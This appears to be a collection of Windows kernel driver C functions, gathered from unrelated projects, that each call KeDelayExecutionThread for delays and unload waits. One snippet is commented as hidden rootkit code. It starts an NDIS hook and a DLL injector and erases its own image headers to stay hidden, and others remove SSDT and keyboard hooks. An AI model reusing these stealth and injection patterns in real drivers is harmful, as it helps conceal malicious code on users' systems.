static VOID NTAPI BootImageFadeIn(VOID) { UCHAR PaletteBitmapBuffer[sizeof(BITMAPINFOHEADER) + sizeof(_MainPalette)]; PBITMAPINFOHEADER PaletteBitmap = (PBITMAPINFOHEADER)PaletteBitmapBuffer; LPRGBQUAD Palette = (LPRGBQUAD)(PaletteBitmapBuffer + sizeof(BITMAPINFOHEADER)); ULONG Iteration, Index, ClrUsed; LARGE_INTEGER Interval; Interval.QuadPart = -PALETTE_FADE_TIME; /* Check if we're installed and we own it */ if ((InbvBootDriverInstalled) && (InbvDisplayState == INBV_DISPLAY_STATE_OWNED)) { /* Acquire the lock */ InbvAcquireLock(); /* * Build a bitmap containing the fade in palette. The palette entries * are then processed in a loop and set using VidBitBlt function. */ ClrUsed = sizeof(_MainPalette) / sizeof(_MainPalette[0]); RtlZeroMemory(PaletteBitmap, sizeof(BITMAPINFOHEADER)); PaletteBitmap->biSize = sizeof(BITMAPINFOHEADER); PaletteBitmap->biBitCount = 4; PaletteBitmap->biClrUsed = ClrUsed; /* * Main animation loop. */ for (Iteration = 0; Iteration <= PALETTE_FADE_STEPS; ++Iteration) { for (Index = 0; Index < ClrUsed; Index++) { Palette[Index].rgbRed = (UCHAR) (_MainPalette[Index].rgbRed * Iteration / PALETTE_FADE_STEPS); Palette[Index].rgbGreen = (UCHAR) (_MainPalette[Index].rgbGreen * Iteration / PALETTE_FADE_STEPS); Palette[Index].rgbBlue = (UCHAR) (_MainPalette[Index].rgbBlue * Iteration / PALETTE_FADE_STEPS); } VidBitBlt(PaletteBitmapBuffer, 0, 0); /* Wait for a bit. */ KeDelayExecutionThread(KernelMode, FALSE, &Interval); } /* Release the lock */ InbvReleaseLock(); /* Wait for a bit. */ KeDelayExecutionThread(KernelMode, FALSE, &Interval); } }
//-------------------------------------------------------------------------------------- VOID DriverEntryContinueThread(PVOID Param) { /** * Hidden rootkit code starts execution here. */ LARGE_INTEGER Timeout = { 0 }; Timeout.QuadPart = TIME_RELATIVE(TIME_SECONDS(3)); DbgPrint(__FUNCTION__"(): Param = "IFMT"\n", Param); // initialize NDIS hook data handler NdisHookInitialize(NdisHookHandleBuffer); // initialize DLL injector InjectInitialize(); KeDelayExecutionThread(KernelMode, FALSE, &Timeout); if (Param) { // free memory, that has been allocated for driver ExFreePool(Param); } #ifndef USE_STEALTH_IMAGE if (m_DriverBase) { PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS) ((PUCHAR)m_DriverBase + ((PIMAGE_DOS_HEADER)m_DriverBase)->e_lfanew); // erase image headers RtlZeroMemory(m_DriverBase, pHeaders->OptionalHeader.SizeOfHeaders); } #endif // USE_STEALTH_IMAGE #ifdef USE_GREETING_MESSAGE while (true) { DbgPrint(__FUNCTION__"(): Commertial malware rootkits are sucks!\n"); // sleep KeDelayExecutionThread(KernelMode, FALSE, &Timeout); } #endif // USE_GREETING_MESSAGE }
VOID XenPci_HighSync(PXENPCI_HIGHSYNC_FUNCTION function0, PXENPCI_HIGHSYNC_FUNCTION functionN, PVOID context) { ULONG ActiveProcessorCount; ULONG i; highsync_info_t *highsync_info; KIRQL old_irql; UNREFERENCED_PARAMETER(context); FUNCTION_ENTER(); highsync_info = ExAllocatePoolWithTag(NonPagedPool, sizeof(highsync_info_t), XENPCI_POOL_TAG); RtlZeroMemory(highsync_info, sizeof(highsync_info_t)); KeInitializeEvent(&highsync_info->highsync_complete_event, SynchronizationEvent, FALSE); highsync_info->function0 = function0; highsync_info->functionN = functionN; highsync_info->context = context; highsync_info->sync_level = HIGH_LEVEL; #if (NTDDI_VERSION >= NTDDI_WINXP) ActiveProcessorCount = (ULONG)KeNumberProcessors; #else ActiveProcessorCount = (ULONG)*KeNumberProcessors; #endif /* Go to HIGH_LEVEL to prevent any races with Dpc's on the current processor */ KeRaiseIrql(highsync_info->sync_level, &old_irql); highsync_info->do_spin = TRUE; for (i = 0; i < ActiveProcessorCount; i++) { if (i == 0) KeInitializeDpc(&highsync_info->dpcs[i], XenPci_HighSyncCallFunction0, highsync_info); else KeInitializeDpc(&highsync_info->dpcs[i], XenPci_HighSyncCallFunctionN, highsync_info); KeSetTargetProcessorDpc(&highsync_info->dpcs[i], (CCHAR)i); KeSetImportanceDpc(&highsync_info->dpcs[i], HighImportance); KdPrint((__DRIVER_NAME " queuing Dpc for CPU %d\n", i)); KeInsertQueueDpc(&highsync_info->dpcs[i], NULL, NULL); } KdPrint((__DRIVER_NAME " All Dpc's queued\n")); KeMemoryBarrier(); KeLowerIrql(old_irql); KdPrint((__DRIVER_NAME " Waiting for highsync_complete_event\n")); KeWaitForSingleObject(&highsync_info->highsync_complete_event, Executive, KernelMode, FALSE, NULL); #if (NTDDI_VERSION >= NTDDI_WINXP) KeFlushQueuedDpcs(); #else { /* just wait 1 second until all DPC's finish - not ideal but it's only for W2K */ LARGE_INTEGER interval; interval.QuadPart = -1 * 1000 * 1000 * 10; /* 1 second */ KeDelayExecutionThread(KernelMode, FALSE, &interval); } #endif ExFreePoolWithTag(highsync_info, XENPCI_POOL_TAG); FUNCTION_EXIT(); }
VOID Log_Cleanup() { // wait for all pending prints to finish LARGE_INTEGER delay; delay.QuadPart = -100000; // 10 ms while (LogScheduledPrints) { KeDelayExecutionThread(KernelMode, TRUE, &delay); } if (LogFile) { ZwClose(LogFile); LogFile = NULL; } if (LogFileName) { ExFreePool(LogFileName); LogFileName = NULL; } if (LogDeviceObject) { ObDereferenceObject(LogDeviceObject); LogDeviceObject = NULL; } }
VOID CFPUnloadDriver(PDRIVER_OBJECT aDriverObject) { ULONG i = 0; LARGE_INTEGER interval; //interval.LowPart = 0; //interval.HighPart = 0; // 首先解除绑定 for (i = 0; i < CFT_MAX_COM_ID; ++i) { if (global_RealDevice[i] != NULL) IoDetachDevice(global_RealDevice[i]); } // 睡眠5秒,等待所有IRP处理结束 interval.QuadPart = (5 * 1000 * DELAY_ONE_MILLISECOND); KeDelayExecutionThread(KernelMode, FALSE, &interval); // 删除这些设备 for (i = 0; i < CFT_MAX_COM_ID; ++i) { if (global_FileDevice[i] != NULL) IoDeleteDevice(global_FileDevice[i]); // 这里造成蓝屏 } return ; }
NTSTATUS NTAPI ConMgrWriteData(IN PSAC_CHANNEL Channel, IN PVOID Buffer, IN ULONG BufferLength) { ULONG i; NTSTATUS Status; LARGE_INTEGER Interval; /* Loop up to 32 times */ for (i = 0; i < 32; i++) { /* Attempt sending the data */ Status = HeadlessDispatch(HeadlessCmdPutData, Buffer, BufferLength, NULL, NULL); if (Status != STATUS_UNSUCCESSFUL) break; /* Sending the data on the port failed, wait a second... */ Interval.HighPart = -1; Interval.LowPart = -100000; KeDelayExecutionThread(KernelMode, FALSE, &Interval); } /* After 32 attempts it should really have worked... */ ASSERT(NT_SUCCESS(Status)); return Status; }
void DriverUnload(PDRIVER_OBJECT DriverObject) { DbgPrint("==> DrvUnload\n"); UNICODE_STRING DeviceName, DosDeviceName; PDEVICE_OBJECT DeviceObject = NULL; // Unhook NtMapViewOfSection UnHookNtMapViewOfSection(); // 等待所有函数退出 while(g_HookCounter) { LARGE_INTEGER interval; interval.QuadPart = -10 * 1000 * 1000; KeDelayExecutionThread(KernelMode, FALSE, &interval); } // 取消进程回调 PsSetCreateProcessNotifyRoutine(OnProcessQuit, TRUE); RtlInitUnicodeString(&DeviceName, DEVICE_NAME); RtlInitUnicodeString(&DosDeviceName, DOS_NAME); // 删除 Symbolic Link if (STATUS_SUCCESS != IoDeleteSymbolicLink(&DosDeviceName)) { KdPrint(("[E] Failed: IoDeleteSymbolicLink\n")); } // 删除 Device ::IoDeleteDevice(DriverObject->DeviceObject); DbgPrint("<== DrvUnload\n"); }
void DtraceUnload(PDRIVER_OBJECT DrvObj) { NTSTATUS st; LARGE_INTEGER tm; ZwUnloadDriver(&fbtsys); ZwUnloadDriver(&profilesys); ZwUnloadDriver(&fttpsys); while (dtrace_ref != 0 || dtrace_unload(DrvObj) != 0) { tm.QuadPart = UNLOAD_RETRY_DELAY_TIME; dprintf("dtrace.sys: Unload failed. Retry in %ds\n", abs(UNLOAD_RETRY_DELAY_TIME)/10000000); KeDelayExecutionThread(KernelMode, FALSE, &tm); } PsRemoveLoadImageNotifyRoutine(ProcKernelModuleLoaded); free_thread_list(); free_proc_list(); IoFreeWorkItem(WorkItem1); int_freecore(); IoDeleteSymbolicLink(&deviceLink); IoDeleteSymbolicLink(&deviceHelperLink); IoDeleteDevice(DrvObj->DeviceObject); }
NTSTATUS KrnlHlprWorkItemSleep(_In_ UINT32 numMS) { #if DBG DbgPrintEx(DPFLTR_IHVNETWORK_ID, DPFLTR_INFO_LEVEL, " ---> KrnlHlprWorkItemSleep()\n"); #endif /// DBG NT_ASSERT(numMS); NTSTATUS status = STATUS_SUCCESS; INT64 interval = numMS * -10000i64; /// (numMS[milli] * (-1[relative] * 1000[milli to micro] * 1000[micro to nano]) / 100[ns] status = KeDelayExecutionThread(KernelMode, FALSE, (PLARGE_INTEGER)&interval); #if DBG DbgPrintEx(DPFLTR_IHVNETWORK_ID, DPFLTR_INFO_LEVEL, " <--- KrnlHlprWorkItemSleep() [status: %#x]\n", status); #endif /// DBG return status; }
//-------------------------------------------------------------------------------------- VOID DriverEntryContinueThread(PVOID Param) { LARGE_INTEGER Timeout = { 0 }; Timeout.QuadPart = RELATIVE(SECONDS(3)); DbgMsg(__FILE__, __LINE__, "Unloading old driver...\n"); NTSTATUS ns = ZwUnloadDriver(&m_RegistryPath); if (NT_SUCCESS(ns)) { DbgMsg(__FILE__, __LINE__, "OK\n"); } else { DbgMsg(__FILE__, __LINE__, "ZwUnloadDriver() fails; status: 0x%.8x\n", ns); } while (true) { DbgPrint(__FUNCTION__"(): I'm allive!\n"); // sleep KeDelayExecutionThread(KernelMode, FALSE, &Timeout); } }
VOID HotKeyKrnlUnload( IN PDRIVER_OBJECT DriverObject ) { PDEVICE_OBJECT DeviceObject; LARGE_INTEGER lDelay; KdPrint(("[shadow] Enter HotKeyKrnlUnload...\n")); KeSetPriorityThread(KeGetCurrentThread(), LOW_REALTIME_PRIORITY); // Delete device we have created DeviceObject = DriverObject->DeviceObject; while (DeviceObject) { if (((PDEVICE_EXTENSION)DeviceObject->DeviceExtension)->LowerDeviceObject) HotKeyKrnlDetach(DeviceObject); else IoDeleteDevice(DeviceObject); DeviceObject = DeviceObject->NextDevice; } if (gKeyCount > 0 && PendingIrp) { if (!CancelKeyboardIrp(PendingIrp)) KdPrint(("[shadow] Cancel irp failed\n")); } lDelay = RtlConvertLongToLargeInteger(100 * DELAY_ONE_MILLISECOND); while (gKeyCount) { KeDelayExecutionThread(KernelMode, FALSE, &lDelay); } KdPrint(("[shadow] Exit HotKeyKrnlUnload...\n")); }
// Sleep the current thread's execution for milliseconds. _Use_decl_annotations_ static NTSTATUS LogpSleep(LONG millisecond) { PAGED_CODE(); LARGE_INTEGER interval = {}; interval.QuadPart = -(10000ll * millisecond); // msec return KeDelayExecutionThread(KernelMode, FALSE, &interval); }
static VOID NTAPI DriverUnload( __in PDRIVER_OBJECT DriverObject ) { LARGE_INTEGER Interval = {0}; if (g_ServerSocket != NULL) { CloseSocket(g_ServerSocket); g_ServerSocket = NULL; } // Shut down ServerThread() thread KeWaitForSingleObject(g_ServerThread, Executive, KernelMode, FALSE, NULL); ObDereferenceObject(g_ServerThread); // Wait for the clients' threads Interval.QuadPart = RELATIVE(MILLISECONDS(100)); while (g_ClientsCount) KeDelayExecutionThread(KernelMode, FALSE, &Interval); SocketsDeinit(); }
EXTERN_C static NTSTATUS LogpSleep(_In_ LONG Millisecond) { PAGED_CODE(); LARGE_INTEGER interval = {}; interval.QuadPart = -(10000 * Millisecond); // msec return KeDelayExecutionThread(KernelMode, FALSE, &interval); }
static NTSTATUS sleep_ms(int ms) { LARGE_INTEGER ival; ival.QuadPart = -(10000 * ms); return KeDelayExecutionThread(KernelMode, FALSE, &ival); }
/*++ Routine Description: Write to mail box in a serialize manner Arguments: DeviceContextPtr - Pointer to device context Channel - Mailbox Channel Value - Value to be written Request - Optional WDF request object associated with this mailbox transaction Return Value: NTSTATUS --*/ _Use_decl_annotations_ NTSTATUS RpiqMailboxWrite ( DEVICE_CONTEXT* DeviceContextPtr, ULONG Channel, ULONG Value, WDFREQUEST Request ) { NTSTATUS status; ULONG count = 0, reg; LARGE_INTEGER timeOut = { 0 }; PAGED_CODE(); WdfWaitLockAcquire(DeviceContextPtr->WriteLock, NULL); timeOut.QuadPart = WDF_REL_TIMEOUT_IN_MS(1); reg = READ_REGISTER_NOFENCE_ULONG(&DeviceContextPtr->Mailbox->Status); // Poll until mailbox is available. It doesn't seem like // the mailbox is full often so polling is sufficient for now // rather than enable mailbox empty interrupt while (reg & MAILBOX_STATUS_FULL) { if (count > MAX_POLL) { RPIQ_LOG_ERROR( "Exit Fail Status 0x%08x", DeviceContextPtr->Mailbox->Status); status = STATUS_IO_TIMEOUT; goto End; } KeDelayExecutionThread(KernelMode, FALSE, &timeOut); reg = READ_REGISTER_NOFENCE_ULONG(&DeviceContextPtr->Mailbox->Status); ++count; } if (Request) { status = WdfRequestForwardToIoQueue( Request, DeviceContextPtr->ChannelQueue[Channel]); if (!NT_SUCCESS(status)) { RPIQ_LOG_ERROR( "WdfRequestForwardToIoQueue failed ( %!STATUS!)", status); goto End; } } WRITE_REGISTER_NOFENCE_ULONG( &DeviceContextPtr->Mailbox->Write, (Value & ~MAILBOX_CHANNEL_MASK) | Channel); status = STATUS_SUCCESS; End: WdfWaitLockRelease(DeviceContextPtr->WriteLock); return status; }
VOID SoundDelay( IN ULONG Milliseconds ) /*++ Routine Description : Stall the current thread for the given number of milliseconds AT LEAST Arguments : Milliseconds - number of milliseconds to delay Return Value : None --*/ { LARGE_INTEGER Delay; // // Can't call SoundDelay() from high irql // if (KeGetCurrentIrql() >= DISPATCH_LEVEL) { return; } // // First a tiny delay to synch us up with the timer otherwise we // may wait up to 15ms less time than we expected! // Delay = RtlConvertLongToLargeInteger(-1); KeDelayExecutionThread(KernelMode, FALSE, // Not alertable &Delay); Delay = RtlConvertLongToLargeInteger((-(LONG)Milliseconds) * 10000); KeDelayExecutionThread(KernelMode, FALSE, // Not alertable &Delay); }
BOOLEAN Sleep(ULONG MillionSecond) { NTSTATUS st; LARGE_INTEGER DelayTime; DelayTime = RtlConvertLongToLargeInteger(-10000*MillionSecond); st=KeDelayExecutionThread( KernelMode, FALSE, &DelayTime ); return (NT_SUCCESS(st)); }
VOID DelayForQuantum(PBUFFLOCK_CONTROL BuffLockCtl, ULONG QuantumCount) { LARGE_INTEGER interval; if(QuantumCount == 0) return; interval.QuadPart = - BuffLockCtl->Quantum.QuadPart * QuantumCount; KeDelayExecutionThread(KernelMode, FALSE, &interval); }
void Thread::Sleep(TimeSpan timeout) { if(timeout == TimeSpan::Zero) return; //! no reason to sleep LARGE_INTEGER pli; pli.QuadPart = -timeout.Ticks(); KeDelayExecutionThread((KPROCESSOR_MODE)0, FALSE, &pli); }
VOID SleepMs(ULONG Milliseconds) { LARGE_INTEGER Period; Period.QuadPart = -Milliseconds; Period.QuadPart *= 10000; KeDelayExecutionThread(KernelMode, FALSE, &Period); }
void DibMSleep(uint32_t delay_ms) { NTSTATUS ntStatus; LARGE_INTEGER Delay; delay_ms = (delay_ms >= 10 ? delay_ms : 10); Delay.QuadPart = (INT)delay_ms * -10000; ntStatus = KeDelayExecutionThread(KernelMode, FALSE, &Delay); }
VOID WaitForPriority(PBUFFLOCK_CONTROL BuffLockCtl, ULONG Priority) { LARGE_INTEGER interval; if(Priority == 0) return; interval.QuadPart = - BuffLockCtl->PriorityWaitTime.QuadPart * LMPRIORITY_SQUEEZE(Priority); KeDelayExecutionThread(KernelMode, FALSE, &interval); }
NTSTATUS ImScsiGetAdapterDeviceObject() { NTSTATUS status = STATUS_OBJECT_NAME_NOT_FOUND; int i; UNICODE_STRING objname = { 0 }; PFILE_OBJECT file_object = NULL; PDEVICE_OBJECT device_object = NULL; WCHAR objstr[] = L"\\Device\\Scsi\\PhDskMnt00"; if (pMPDrvInfoGlobal->DeviceObject != NULL) return STATUS_SUCCESS; for (i = 0; i < 100; i++) { LARGE_INTEGER wait_time; if ((i & 7) == 7) { wait_time.QuadPart = -1; KeDelayExecutionThread(KernelMode, FALSE, &wait_time); } _snwprintf(objstr, sizeof(objstr)/sizeof(*objstr), L"\\Device\\Scsi\\PhDskMnt%i", i); RtlInitUnicodeString(&objname, objstr); KdPrint2(("PhDskMnt::ImScsiGetAdapterDeviceObject: Attempt to open %ws...\n", objstr)); status = IoGetDeviceObjectPointer(&objname, GENERIC_ALL, &file_object, &device_object); if (!NT_SUCCESS(status)) { KdPrint2(("PhDskMnt::ImScsiGetAdapterDeviceObject: Attempt to open %ws failed: status=0x%x\n", objstr, status)); continue; } if (device_object->DriverObject != pMPDrvInfoGlobal->pDriverObj) { KdPrint2(("PhDskMnt::ImScsiGetAdapterDeviceObject: %ws was not our device.\n", objstr, status)); continue; } pMPDrvInfoGlobal->DeviceObject = device_object; return STATUS_SUCCESS; } if (NT_SUCCESS(status)) KdPrint(("PhDskMnt::ImScsiGetAdapterDeviceObject: Successfully opened %ws.\n", objstr)); else DbgPrint(("PhDskMnt::ImScsiGetAdapterDeviceObject: Could not locate SCSI adapter device object by name.\n")); return status; }
VOID PLxHardwareReset( IN PDEVICE_EXTENSION DevExt ) /*++ Routine Description: Called by D0Exit when the device is being disabled or when the system is shutdown to put the device in a known initial state. Arguments: DevExt Pointer to Device Extension Return Value: --*/ { LARGE_INTEGER delay; union { EEPROM_CSR bits; ULONG ulong; } eeCSR; TraceEvents(TRACE_LEVEL_INFORMATION, DBG_PNP, "--> PLxIssueFullReset"); // // Drive the 9656 into soft reset. // eeCSR.ulong = READ_REGISTER_ULONG( (PULONG) &DevExt->Regs->EEPROM_Ctrl_Stat ); eeCSR.bits.SoftwareReset = TRUE; WRITE_REGISTER_ULONG( (PULONG) &DevExt->Regs->EEPROM_Ctrl_Stat, eeCSR.ulong ); // // Wait 100 msec. // delay.QuadPart = WDF_REL_TIMEOUT_IN_MS(100); KeDelayExecutionThread( KernelMode, TRUE, &delay ); // // Finally pull the 9656 out of reset. // eeCSR.bits.SoftwareReset = FALSE; WRITE_REGISTER_ULONG( (PULONG) &DevExt->Regs->EEPROM_Ctrl_Stat, eeCSR.ulong ); TraceEvents(TRACE_LEVEL_INFORMATION, DBG_PNP, "<-- PLxIssueFullReset"); }
void Thread::Sleep(int millisecondsTimeout) { if(millisecondsTimeout <= 0) return; //no reason to sleep. We could also throw an ArgumentOutOfRangeException, but what's the point in that? LARGE_INTEGER pli; pli.QuadPart = -(millisecondsTimeout * 10000); KeDelayExecutionThread((KPROCESSOR_MODE)0, FALSE, &pli); }
VOID HookModuleFinit(PDRIVER_OBJECT DriverObject, PVOID Context) { LARGE_INTEGER time; DEBUG_ENTER_FUNCTION("DriverObject=0x%p; Context=0x%p", DriverObject, Context); HashTableDestroy(_deviceValidationTable); HashTableDestroy(_driverValidationTable); HashTableDestroy(_driverTable); time.QuadPart = -50000000; (VOID) KeDelayExecutionThread(KernelMode, FALSE, &time); DEBUG_EXIT_FUNCTION_VOID(); return; }
void FasttrapUnload(PDRIVER_OBJECT DrvObj) { LARGE_INTEGER tm; while (fasttrap_unload() != 0) { tm.QuadPart = UNLOAD_RETRY_DELAY_TIME; dprintf("fasttrap.sys: Unload failed. Retry in %ds\n", abs(UNLOAD_RETRY_DELAY_TIME)/10000000); KeDelayExecutionThread(KernelMode, FALSE, &tm); } PsSetCreateProcessNotifyRoutine(CreateProcFunc, TRUE); IoDeleteSymbolicLink(&deviceLink); IoDeleteDevice(DrvObj->DeviceObject); }
VBOXDRVTOOL_DECL(VOID) VBoxDrvToolRefWaitEqual(PVBOXDRVTOOL_REF pRef, uint32_t u32Val) { LARGE_INTEGER Interval; Interval.QuadPart = -(int64_t) 2 /* ms */ * 10000; uint32_t cRefs; while ((cRefs = ASMAtomicReadU32(&pRef->cRefs)) != u32Val) { Assert(cRefs >= u32Val); Assert(cRefs < UINT32_MAX/2); KeDelayExecutionThread(KernelMode, FALSE, &Interval); } }
VOID DDKUnload (IN PDRIVER_OBJECT pDriverObject) { //::KeWaitForSingleObject(&g_DispatchMutex,Executive,KernelMode,FALSE,NULL); KdPrint(("==> DriverUnload\n")); // 取消进程回调 PsSetCreateProcessNotifyRoutine(OnProcessQuit, TRUE); UnHookSSDT(); WriteSysLog(LOG_TYPE_DEBUG,L" FinishH2"); if(pEvent) ObDereferenceObject(pEvent); ClearFilterCache(); ClearBlackCache(); WriteSysLog(LOG_TYPE_DEBUG,L" ClearB"); LogUninitialize(); //::KeReleaseMutex(&g_DispatchMutex,FALSE); while(g_HookCounter>0) { LARGE_INTEGER interval; interval.QuadPart = -10 * 1000 * 1000; KeDelayExecutionThread(KernelMode, FALSE, &interval); } // PDEVICE_OBJECT pNextObj; pNextObj = pDriverObject->DeviceObject; while (pNextObj != NULL) { PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION) pNextObj->DeviceExtension; //删除符号链接 UNICODE_STRING pLinkName = pDevExt->ustrSymLinkName; IoDeleteSymbolicLink(&pLinkName); pNextObj = pNextObj->NextDevice; IoDeleteDevice( pDevExt->pDevice ); IoUnregisterShutdownNotification(pDevExt->pDevice); } KdPrint(("<== DriverUnload\n")); }